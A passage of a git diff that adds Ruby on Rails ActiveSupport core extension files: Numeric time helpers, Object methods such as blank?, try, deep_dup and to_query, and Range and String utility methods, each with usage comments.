+ options = args[1] || {}
+
+ self.to_formatted_s(format, options)
+ else
+ to_default_s(*args)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/infinite_comparable.rb b/activesupport/lib/active_support/core_ext/numeric/infinite_comparable.rb
new file mode 100644
index 0000000..b5f1b04
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/infinite_comparable.rb
@@ -0,0 +1,9 @@
+require 'active_support/core_ext/infinite_comparable'
+
+class Float
+ include InfiniteComparable
+end
+
+class BigDecimal
+ include InfiniteComparable
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
new file mode 100644
index 0000000..87b9a23
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -0,0 +1,79 @@
+require 'active_support/duration'
+require 'active_support/core_ext/time/calculations'
+require 'active_support/core_ext/time/acts_like'
+
+class Numeric
+ # Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.
+ #
+ # These methods use Time#advance for precise date calculations when using from_now, ago, etc.
+ # as well as adding or subtracting their results from a Time object. For example:
+ #
+ # # equivalent to Time.current.advance(months: 1)
+ # 1.month.from_now
+ #
+ # # equivalent to Time.current.advance(years: 2)
+ # 2.years.from_now
+ #
+ # # equivalent to Time.current.advance(months: 4, years: 5)
+ # (4.months + 5.years).from_now
+ #
+ # While these methods provide precise calculation when used as in the examples above, care
+ # should be taken to note that this is not true if the result of `months', `years', etc is
+ # converted before use:
+ #
+ # # equivalent to 30.days.to_i.from_now
+ # 1.month.to_i.from_now
+ #
+ # # equivalent to 365.25.days.to_f.from_now
+ # 1.year.to_f.from_now
+ #
+ # In such cases, Ruby's core
+ # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
+ # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+ # date and time arithmetic.
+ def seconds
+ ActiveSupport::Duration.new(self, [[:seconds, self]])
+ end
+ alias :second :seconds
+
+ def minutes
+ ActiveSupport::Duration.new(self * 60, [[:seconds, self * 60]])
+ end
+ alias :minute :minutes
+
+ def hours
+ ActiveSupport::Duration.new(self * 3600, [[:seconds, self * 3600]])
+ end
+ alias :hour :hours
+
+ def days
+ ActiveSupport::Duration.new(self * 24.hours, [[:days, self]])
+ end
+ alias :day :days
+
+ def weeks
+ ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+ end
+ alias :week :weeks
+
+ def fortnights
+ ActiveSupport::Duration.new(self * 2.weeks, [[:days, self * 14]])
+ end
+ alias :fortnight :fortnights
+
+ # Reads best without arguments: 10.minutes.ago
+ def ago(time = ::Time.current)
+ time - self
+ end
+
+ # Reads best with argument: 10.minutes.until(time)
+ alias :until :ago
+
+ # Reads best with argument: 10.minutes.since(time)
+ def since(time = ::Time.current)
+ time + self
+ end
+
+ # Reads best without arguments: 10.minutes.from_now
+ alias :from_now :since
+end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
new file mode 100644
index 0000000..ec21572
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -0,0 +1,14 @@
+require 'active_support/core_ext/object/acts_like'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/object/deep_dup'
+require 'active_support/core_ext/object/try'
+require 'active_support/core_ext/object/inclusion'
+
+require 'active_support/core_ext/object/conversions'
+require 'active_support/core_ext/object/instance_variables'
+
+require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/to_param'
+require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/object/with_options'
diff --git a/activesupport/lib/active_support/core_ext/object/acts_like.rb b/activesupport/lib/active_support/core_ext/object/acts_like.rb
new file mode 100644
index 0000000..3912cc5
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/acts_like.rb
@@ -0,0 +1,10 @@
+class Object
+ # A duck-type assistant method. For example, Active Support extends Date
+ # to define an <tt>acts_like_date?</tt> method, and extends Time to define
+ # <tt>acts_like_time?</tt>. As a result, we can do <tt>x.acts_like?(:time)</tt> and
+ # <tt>x.acts_like?(:date)</tt> to do duck-type-safe comparisons, since classes that
+ # we want to act like Time simply need to define an <tt>acts_like_time?</tt> method.
+ def acts_like?(duck)
+ respond_to? :"acts_like_#{duck}?"
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
new file mode 100644
index 0000000..8a5eb4b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -0,0 +1,105 @@
+# encoding: utf-8
+
+class Object
+ # An object is blank if it's false, empty, or a whitespace string.
+ # For example, '', ' ', +nil+, [], and {} are all blank.
+ #
+ # This simplifies:
+ #
+ # if address.nil? || address.empty?
+ #
+ # ...to:
+ #
+ # if address.blank?
+ def blank?
+ respond_to?(:empty?) ? empty? : !self
+ end
+
+ # An object is present if it's not <tt>blank?</tt>.
+ def present?
+ !blank?
+ end
+
+ # Returns object if it's <tt>present?</tt> otherwise returns +nil+.
+ # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>.
+ #
+ # This is handy for any representation of objects where blank is the same
+ # as not present at all. For example, this simplifies a common check for
+ # HTTP POST/query parameters:
+ #
+ # state = params[:state] if params[:state].present?
+ # country = params[:country] if params[:country].present?
+ # region = state || country || 'US'
+ #
+ # ...becomes:
+ #
+ # region = params[:state].presence || params[:country].presence || 'US'
+ def presence
+ self if present?
+ end
+end
+
+class NilClass
+ # +nil+ is blank:
+ #
+ # nil.blank? # => true
+ def blank?
+ true
+ end
+end
+
+class FalseClass
+ # +false+ is blank:
+ #
+ # false.blank? # => true
+ def blank?
+ true
+ end
+end
+
+class TrueClass
+ # +true+ is not blank:
+ #
+ # true.blank? # => false
+ def blank?
+ false
+ end
+end
+
+class Array
+ # An array is blank if it's empty:
+ #
+ # [].blank? # => true
+ # [1,2,3].blank? # => false
+ alias_method :blank?, :empty?
+end
+
+class Hash
+ # A hash is blank if it's empty:
+ #
+ # {}.blank? # => true
+ # { key: 'value' }.blank? # => false
+ alias_method :blank?, :empty?
+end
+
+class String
+ # A string is blank if it's empty or contains whitespaces only:
+ #
+ # ''.blank? # => true
+ # ' '.blank? # => true
+ # ' '.blank? # => true
+ # ' something here '.blank? # => false
+ def blank?
+ self !~ /[^[:space:]]/
+ end
+end
+
+class Numeric #:nodoc:
+ # No number is blank:
+ #
+ # 1.blank? # => false
+ # 0.blank? # => false
+ def blank?
+ false
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/conversions.rb b/activesupport/lib/active_support/core_ext/object/conversions.rb
new file mode 100644
index 0000000..540f7aa
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/conversions.rb
@@ -0,0 +1,4 @@
+require 'active_support/core_ext/object/to_param'
+require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/array/conversions'
+require 'active_support/core_ext/hash/conversions'
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
new file mode 100644
index 0000000..1d639f3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -0,0 +1,46 @@
+require 'active_support/core_ext/object/duplicable'
+
+class Object
+ # Returns a deep copy of object if it's duplicable. If it's
+ # not duplicable, returns +self+.
+ #
+ # object = Object.new
+ # dup = object.deep_dup
+ # dup.instance_variable_set(:@a, 1)
+ #
+ # object.instance_variable_defined?(:@a) #=> false
+ # dup.instance_variable_defined?(:@a) #=> true
+ def deep_dup
+ duplicable? ? dup : self
+ end
+end
+
+class Array
+ # Returns a deep copy of array.
+ #
+ # array = [1, [2, 3]]
+ # dup = array.deep_dup
+ # dup[1][2] = 4
+ #
+ # array[1][2] #=> nil
+ # dup[1][2] #=> 4
+ def deep_dup
+ map { |it| it.deep_dup }
+ end
+end
+
+class Hash
+ # Returns a deep copy of hash.
+ #
+ # hash = { a: { b: 'b' } }
+ # dup = hash.deep_dup
+ # dup[:a][:c] = 'c'
+ #
+ # hash[:a][:c] #=> nil
+ # dup[:a][:c] #=> "c"
+ def deep_dup
+ each_with_object(dup) do |(key, value), hash|
+ hash[key.deep_dup] = value.deep_dup
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
new file mode 100644
index 0000000..9cd7485
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -0,0 +1,90 @@
+#--
+# Most objects are cloneable, but not all. For example you can't dup +nil+:
+#
+# nil.dup # => TypeError: can't dup NilClass
+#
+# Classes may signal their instances are not duplicable removing +dup+/+clone+
+# or raising exceptions from them. So, to dup an arbitrary object you normally
+# use an optimistic approach and are ready to catch an exception, say:
+#
+# arbitrary_object.dup rescue object
+#
+# Rails dups objects in a few critical spots where they are not that arbitrary.
+# That rescue is very expensive (like 40 times slower than a predicate), and it
+# is often triggered.
+#
+# That's why we hardcode the following cases and check duplicable? instead of
+# using that rescue idiom.
+#++
+class Object
+ # Can you safely dup this object?
+ #
+ # False for +nil+, +false+, +true+, symbol, and number objects;
+ # true otherwise.
+ def duplicable?
+ true
+ end
+end
+
+class NilClass
+ # +nil+ is not duplicable:
+ #
+ # nil.duplicable? # => false
+ # nil.dup # => TypeError: can't dup NilClass
+ def duplicable?
+ false
+ end
+end
+
+class FalseClass
+ # +false+ is not duplicable:
+ #
+ # false.duplicable? # => false
+ # false.dup # => TypeError: can't dup FalseClass
+ def duplicable?
+ false
+ end
+end
+
+class TrueClass
+ # +true+ is not duplicable:
+ #
+ # true.duplicable? # => false
+ # true.dup # => TypeError: can't dup TrueClass
+ def duplicable?
+ false
+ end
+end
+
+class Symbol
+ # Symbols are not duplicable:
+ #
+ # :my_symbol.duplicable? # => false
+ # :my_symbol.dup # => TypeError: can't dup Symbol
+ def duplicable?
+ false
+ end
+end
+
+class Numeric
+ # Numbers are not duplicable:
+ #
+ # 3.duplicable? # => false
+ # 3.dup # => TypeError: can't dup Fixnum
+ def duplicable?
+ false
+ end
+end
+
+require 'bigdecimal'
+class BigDecimal
+ begin
+ BigDecimal.new('4.56').dup
+
+ def duplicable?
+ true
+ end
+ rescue TypeError
+ # can't dup, so use superclass implementation
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
new file mode 100644
index 0000000..3fec465
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -0,0 +1,25 @@
+class Object
+ # Returns true if this object is included in the argument(s). Argument must be
+ # any object which responds to +#include?+ or optionally, multiple arguments can be passed in. Usage:
+ #
+ # characters = ['Konata', 'Kagami', 'Tsukasa']
+ # 'Konata'.in?(characters) # => true
+ #
+ # character = 'Konata'
+ # character.in?('Konata', 'Kagami', 'Tsukasa') # => true
+ #
+ # This will throw an ArgumentError if a single argument is passed in and it doesn't respond
+ # to +#include?+.
+ def in?(*args)
+ if args.length > 1
+ args.include? self
+ else
+ another_object = args.first
+ if another_object.respond_to? :include?
+ another_object.include? self
+ else
+ raise ArgumentError.new 'The single parameter passed to #in? must respond to #include?'
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
new file mode 100644
index 0000000..755e1c6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
@@ -0,0 +1,28 @@
+class Object
+ # Returns a hash with string keys that maps instance variable names without "@" to their
+ # corresponding values.
+ #
+ # class C
+ # def initialize(x, y)
+ # @x, @y = x, y
+ # end
+ # end
+ #
+ # C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+ def instance_values
+ Hash[instance_variables.map { |name| [name[1..-1], instance_variable_get(name)] }]
+ end
+
+ # Returns an array of instance variable names as strings including "@".
+ #
+ # class C
+ # def initialize(x, y)
+ # @x, @y = x, y
+ # end
+ # end
+ #
+ # C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+ def instance_variable_names
+ instance_variables.map { |var| var.to_s }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
new file mode 100644
index 0000000..83cc806
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/to_json.rb
@@ -0,0 +1,27 @@
+# Hack to load json gem first so we can overwrite its to_json.
+begin
+ require 'json'
+rescue LoadError
+end
+
+# The JSON gem adds a few modules to Ruby core classes containing :to_json definition, overwriting
+# their default behavior. That said, we need to define the basic to_json method in all of them,
+# otherwise they will always use to_json gem implementation, which is backwards incompatible in
+# several cases (for instance, the JSON implementation for Hash does not work) with inheritance
+# and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
+[Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
+ klass.class_eval do
+ # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
+ def to_json(options = nil)
+ ActiveSupport::JSON.encode(self, options)
+ end
+ end
+end
+
+module Process
+ class Status
+ def as_json(options = nil)
+ { :exitstatus => exitstatus, :pid => pid }
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
new file mode 100644
index 0000000..0d5f350
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -0,0 +1,58 @@
+class Object
+ # Alias of <tt>to_s</tt>.
+ def to_param
+ to_s
+ end
+end
+
+class NilClass
+ # Returns +self+.
+ def to_param
+ self
+ end
+end
+
+class TrueClass
+ # Returns +self+.
+ def to_param
+ self
+ end
+end
+
+class FalseClass
+ # Returns +self+.
+ def to_param
+ self
+ end
+end
+
+class Array
+ # Calls <tt>to_param</tt> on all its elements and joins the result with
+ # slashes. This is used by <tt>url_for</tt> in Action Pack.
+ def to_param
+ collect { |e| e.to_param }.join '/'
+ end
+end
+
+class Hash
+ # Returns a string representation of the receiver suitable for use as a URL
+ # query string:
+ #
+ # {name: 'David', nationality: 'Danish'}.to_param
+ # # => "name=David&nationality=Danish"
+ #
+ # An optional namespace can be passed to enclose the param names:
+ #
+ # {name: 'David', nationality: 'Danish'}.to_param('user')
+ # # => "user[name]=David&user[nationality]=Danish"
+ #
+ # The string pairs "key=value" that conform the query string
+ # are sorted lexicographically in ascending order.
+ #
+ # This method is also aliased as +to_query+.
+ def to_param(namespace = nil)
+ collect do |key, value|
+ value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+ end.sort * '&'
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
new file mode 100644
index 0000000..5d5fcf0
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -0,0 +1,27 @@
+require 'active_support/core_ext/object/to_param'
+
+class Object
+ # Converts an object into a string suitable for use as a URL query string, using the given <tt>key</tt> as the
+ # param name.
+ #
+ # Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
+ def to_query(key)
+ require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
+ "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
+ end
+end
+
+class Array
+ # Converts an array into a string suitable for use as a URL query string,
+ # using the given +key+ as the param name.
+ #
+ # ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
+ def to_query(key)
+ prefix = "#{key}[]"
+ collect { |value| value.to_query(prefix) }.join '&'
+ end
+end
+
+class Hash
+ alias_method :to_query, :to_param
+end
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
new file mode 100644
index 0000000..534bbe3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -0,0 +1,78 @@
+class Object
+ # Invokes the public method whose name goes as first argument just like
+ # +public_send+ does, except that if the receiver does not respond to it the
+ # call returns +nil+ rather than raising an exception.
+ #
+ # This method is defined to be able to write
+ #
+ # @person.try(:name)
+ #
+ # instead of
+ #
+ # @person ? @person.name : nil
+ #
+ # +try+ returns +nil+ when called on +nil+ regardless of whether it responds
+ # to the method:
+ #
+ # nil.try(:to_i) # => nil, rather than 0
+ #
+ # Arguments and blocks are forwarded to the method if invoked:
+ #
+ # @posts.try(:each_slice, 2) do |a, b|
+ # ...
+ # end
+ #
+ # The number of arguments in the signature must match. If the object responds
+ # to the method the call is attempted and +ArgumentError+ is still raised
+ # otherwise.
+ #
+ # If +try+ is called without arguments it yields the receiver to a given
+ # block unless it is +nil+:
+ #
+ # @person.try do |p|
+ # ...
+ # end
+ #
+ # Please also note that +try+ is defined on +Object+, therefore it won't work
+ # with instances of classes that do not have +Object+ among their ancestors,
+ # like direct subclasses of +BasicObject+. For example, using +try+ with
+ # +SimpleDelegator+ will delegate +try+ to the target instead of calling it on
+ # delegator itself.
+ def try(*a, &b)
+ if a.empty? && block_given?
+ yield self
+ else
+ public_send(*a, &b) if respond_to?(a.first)
+ end
+ end
+
+ # Same as #try, but will raise a NoMethodError exception if the receiving is not nil and
+ # does not implemented the tried method.
+ def try!(*a, &b)
+ if a.empty? && block_given?
+ yield self
+ else
+ public_send(*a, &b)
+ end
+ end
+end
+
+class NilClass
+ # Calling +try+ on +nil+ always returns +nil+.
+ # It becomes specially helpful when navigating through associations that may return +nil+.
+ #
+ # nil.try(:name) # => nil
+ #
+ # Without +try+
+ # @person && !@person.children.blank? && @person.children.first.name
+ #
+ # With +try+
+ # @person.try(:children).try(:first).try(:name)
+ def try(*args)
+ nil
+ end
+
+ def try!(*args)
+ nil
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
new file mode 100644
index 0000000..42e388b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -0,0 +1,42 @@
+require 'active_support/option_merger'
+
+class Object
+ # An elegant way to factor duplication out of options passed to a series of
+ # method calls. Each method called in the block, with the block variable as
+ # the receiver, will have its options merged with the default +options+ hash
+ # provided. Each method called on the block variable must take an options
+ # hash as its final argument.
+ #
+ # Without <tt>with_options></tt>, this code contains duplication:
+ #
+ # class Account < ActiveRecord::Base
+ # has_many :customers, dependent: :destroy
+ # has_many :products, dependent: :destroy
+ # has_many :invoices, dependent: :destroy
+ # has_many :expenses, dependent: :destroy
+ # end
+ #
+ # Using <tt>with_options</tt>, we can remove the duplication:
+ #
+ # class Account < ActiveRecord::Base
+ # with_options dependent: :destroy do |assoc|
+ # assoc.has_many :customers
+ # assoc.has_many :products
+ # assoc.has_many :invoices
+ # assoc.has_many :expenses
+ # end
+ # end
+ #
+ # It can also be used with an explicit receiver:
+ #
+ # I18n.with_options locale: user.locale, scope: 'newsletter' do |i18n|
+ # subject i18n.t :subject
+ # body i18n.t :body, user_name: user.name
+ # end
+ #
+ # <tt>with_options</tt> can also be nested since the call is forwarded to its receiver.
+ # Each nesting level will merge inherited defaults in addition to their own.
+ def with_options(options)
+ yield ActiveSupport::OptionMerger.new(self, options)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/proc.rb b/activesupport/lib/active_support/core_ext/proc.rb
new file mode 100644
index 0000000..166c385
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/proc.rb
@@ -0,0 +1,17 @@
+require "active_support/core_ext/kernel/singleton_class"
+require "active_support/deprecation"
+
+class Proc #:nodoc:
+ def bind(object)
+ ActiveSupport::Deprecation.warn 'Proc#bind is deprecated and will be removed in future versions'
+
+ block, time = self, Time.now
+ object.class_eval do
+ method_name = "__bind_#{time.to_i}_#{time.usec}"
+ define_method(method_name, &block)
+ method = instance_method(method_name)
+ remove_method(method_name)
+ method
+ end.bind(object)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
new file mode 100644
index 0000000..1d8b1ed
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -0,0 +1,3 @@
+require 'active_support/core_ext/range/conversions'
+require 'active_support/core_ext/range/include_range'
+require 'active_support/core_ext/range/overlaps'
diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb
new file mode 100644
index 0000000..b1a1278
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -0,0 +1,19 @@
+class Range
+ RANGE_FORMATS = {
+ :db => Proc.new { |start, stop| "BETWEEN '#{start.to_s(:db)}' AND '#{stop.to_s(:db)}'" }
+ }
+
+ # Gives a human readable format of the range.
+ #
+ # (1..100).to_formatted_s # => "1..100"
+ def to_formatted_s(format = :default)
+ if formatter = RANGE_FORMATS[format]
+ formatter.call(first, last)
+ else
+ to_default_s
+ end
+ end
+
+ alias_method :to_default_s, :to_s
+ alias_method :to_s, :to_formatted_s
+end
diff --git a/activesupport/lib/active_support/core_ext/range/include_range.rb b/activesupport/lib/active_support/core_ext/range/include_range.rb
new file mode 100644
index 0000000..3af66aa
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/include_range.rb
@@ -0,0 +1,21 @@
+class Range
+ # Extends the default Range#include? to support range comparisons.
+ # (1..5).include?(1..5) # => true
+ # (1..5).include?(2..3) # => true
+ # (1..5).include?(2..6) # => false
+ #
+ # The native Range#include? behavior is untouched.
+ # ('a'..'f').include?('c') # => true
+ # (5..9).include?(11) # => false
+ def include_with_range?(value)
+ if value.is_a?(::Range)
+ # 1...10 includes 1..9 but it does not include 1..10.
+ operator = exclude_end? && !value.exclude_end? ? :< : :<=
+ include_without_range?(value.first) && value.last.send(operator, last)
+ else
+ include_without_range?(value)
+ end
+ end
+
+ alias_method_chain :include?, :range
+end
diff --git a/activesupport/lib/active_support/core_ext/range/overlaps.rb b/activesupport/lib/active_support/core_ext/range/overlaps.rb
new file mode 100644
index 0000000..603657c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/overlaps.rb
@@ -0,0 +1,8 @@
+class Range
+ # Compare two ranges and see if they overlap each other
+ # (1..5).overlaps?(4..6) # => true
+ # (1..5).overlaps?(7..9) # => false
+ def overlaps?(other)
+ cover?(other.first) || other.cover?(first)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/regexp.rb b/activesupport/lib/active_support/core_ext/regexp.rb
new file mode 100644
index 0000000..784145f
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/regexp.rb
@@ -0,0 +1,5 @@
+class Regexp #:nodoc:
+ def multiline?
+ options & MULTILINE == MULTILINE
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string.rb b/activesupport/lib/active_support/core_ext/string.rb
new file mode 100644
index 0000000..c656db2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string.rb
@@ -0,0 +1,13 @@
+require 'active_support/core_ext/string/conversions'
+require 'active_support/core_ext/string/filters'
+require 'active_support/core_ext/string/multibyte'
+require 'active_support/core_ext/string/starts_ends_with'
+require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/string/access'
+require 'active_support/core_ext/string/behavior'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/string/exclude'
+require 'active_support/core_ext/string/strip'
+require 'active_support/core_ext/string/inquiry'
+require 'active_support/core_ext/string/indent'
+require 'active_support/core_ext/string/zones'
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
new file mode 100644
index 0000000..8fa8157
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -0,0 +1,104 @@
+class String
+ # If you pass a single Fixnum, returns a substring of one character at that
+ # position. The first character of the string is at position 0, the next at
+ # position 1, and so on. If a range is supplied, a substring containing
+ # characters at offsets given by the range is returned. In both cases, if an
+ # offset is negative, it is counted from the end of the string. Returns nil
+ # if the initial offset falls outside the string. Returns an empty string if
+ # the beginning of the range is greater than the end of the string.
+ #
+ # str = "hello"
+ # str.at(0) #=> "h"
+ # str.at(1..3) #=> "ell"
+ # str.at(-2) #=> "l"
+ # str.at(-2..-1) #=> "lo"
+ # str.at(5) #=> nil
+ # str.at(5..-1) #=> ""
+ #
+ # If a Regexp is given, the matching portion of the string is returned.
+ # If a String is given, that given string is returned if it occurs in
+ # the string. In both cases, nil is returned if there is no match.
+ #
+ # str = "hello"
+ # str.at(/lo/) #=> "lo"
+ # str.at(/ol/) #=> nil
+ # str.at("lo") #=> "lo"
+ # str.at("ol") #=> nil
+ def at(position)
+ self[position]
+ end
+
+ # Returns a substring from the given position to the end of the string.
+ # If the position is negative, it is counted from the end of the string.
+ #
+ # str = "hello"
+ # str.from(0) #=> "hello"
+ # str.from(3) #=> "lo"
+ # str.from(-2) #=> "lo"
+ #
+ # You can mix it with +to+ method and do fun things like:
+ #
+ # str = "hello"
+ # str.from(0).to(-1) #=> "hello"
+ # str.from(1).to(-2) #=> "ell"
+ def from(position)
+ self[position..-1]
+ end
+
+ # Returns a substring from the beginning of the string to the given position.
+ # If the position is negative, it is counted from the end of the string.
+ #
+ # str = "hello"
+ # str.to(0) #=> "h"
+ # str.to(3) #=> "hell"
+ # str.to(-2) #=> "hell"
+ #
+ # You can mix it with +from+ method and do fun things like:
+ #
+ # str = "hello"
+ # str.from(0).to(-1) #=> "hello"
+ # str.from(1).to(-2) #=> "ell"
+ def to(position)
+ self[0..position]
+ end
+
+ # Returns the first character. If a limit is supplied, returns a substring
+ # from the beginning of the string until it reaches the limit value. If the
+ # given limit is greater than or equal to the string length, returns self.
+ #
+ # str = "hello"
+ # str.first #=> "h"
+ # str.first(1) #=> "h"
+ # str.first(2) #=> "he"
+ # str.first(0) #=> ""
+ # str.first(6) #=> "hello"
+ def first(limit = 1)
+ if limit == 0
+ ''
+ elsif limit >= size
+ self
+ else
+ to(limit - 1)
+ end
+ end
+
+ # Returns the last character of the string. If a limit is supplied, returns a substring
+ # from the end of the string until it reaches the limit value (counting backwards). If
+ # the given limit is greater than or equal to the string length, returns self.
+ #
+ # str = "hello"
+ # str.last #=> "o"
+ # str.last(1) #=> "o"
+ # str.last(2) #=> "lo"
+ # str.last(0) #=> ""
+ # str.last(6) #=> "hello"
+ def last(limit = 1)
+ if limit == 0
+ ''
+ elsif limit >= size
+ self
+ else
+ from(-limit)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/behavior.rb b/activesupport/lib/active_support/core_ext/string/behavior.rb
new file mode 100644
index 0000000..4aa9600
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/behavior.rb
@@ -0,0 +1,6 @@
+class String
+ # Enable more predictable duck-typing on String-like classes. See <tt>Object#acts_like?</tt>.
+ def acts_like_string?
+ true
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
new file mode 100644
index 0000000..d2a2db3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -0,0 +1,55 @@
+require 'date'
+require 'active_support/core_ext/time/calculations'
+
+class String
+ # Converts a string to a Time value.
+ # The +form+ can be either :utc or :local (default :local).
+ #
+ # The time is parsed using Time.parse method.
+ # If +form+ is :local, then the time is in the system timezone.
+ # If the date part is missing then the current date is used and if
+ # the time part is missing then it is assumed to be 00:00:00.
+ #
+ # "13-12-2012".to_time # => 2012-12-13 00:00:00 +0100
+ # "06:12".to_time # => 2012-12-13 06:12:00 +0100
+ # "2012-12-13 06:12".to_time # => 2012-12-13 06:12:00 +0100
+ # "2012-12-13T06:12".to_time # => 2012-12-13 06:12:00 +0100
+ # "2012-12-13T06:12".to_time(:utc) # => 2012-12-13 05:12:00 UTC
+ def to_time(form = :local)
+ parts = Date._parse(self, false)
+ return if parts.empty?
+
+ now = Time.now
+ time = Time.new(
+ parts.fetch(:year, now.year),
+ parts.fetch(:mon, now.month),
+ parts.fetch(:mday, now.day),
+ parts.fetch(:hour, 0),
+ parts.fetch(:min, 0),
+ parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+ parts.fetch(:offset, form == :utc ? 0 : nil)
+ )
+
+ form == :utc ? time.utc : time.getlocal
+ end
+
+ # Converts a string to a Date value.
+ #
+ # "1-1-2012".to_date #=> Sun, 01 Jan 2012
+ # "01/01/2012".to_date #=> Sun, 01 Jan 2012
+ # "2012-12-13".to_date #=> Thu, 13 Dec 2012
+ # "12/13/2012".to_date #=> ArgumentError: invalid date
+ def to_date
+ ::Date.parse(self, false) unless blank?
+ end
+
+ # Converts a string to a DateTime value.
+ #
+ # "1-1-2012".to_datetime #=> Sun, 01 Jan 2012 00:00:00 +0000
+ # "01/01/2012 23:59:59".to_datetime #=> Sun, 01 Jan 2012 23:59:59 +0000
+ # "2012-12-13 12:50".to_datetime #=> Thu, 13 Dec 2012 12:50:00 +0000
+ # "12/13/2012".to_datetime #=> ArgumentError: invalid date
+ def to_datetime
+ ::DateTime.parse(self, false) unless blank?
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/encoding.rb b/activesupport/lib/active_support/core_ext/string/encoding.rb
new file mode 100644
index 0000000..a583b91
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/encoding.rb
@@ -0,0 +1,8 @@
+require 'active_support/deprecation'
+
+class String
+ def encoding_aware?
+ ActiveSupport::Deprecation.warn 'String#encoding_aware? is deprecated'
+ true
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
new file mode 100644
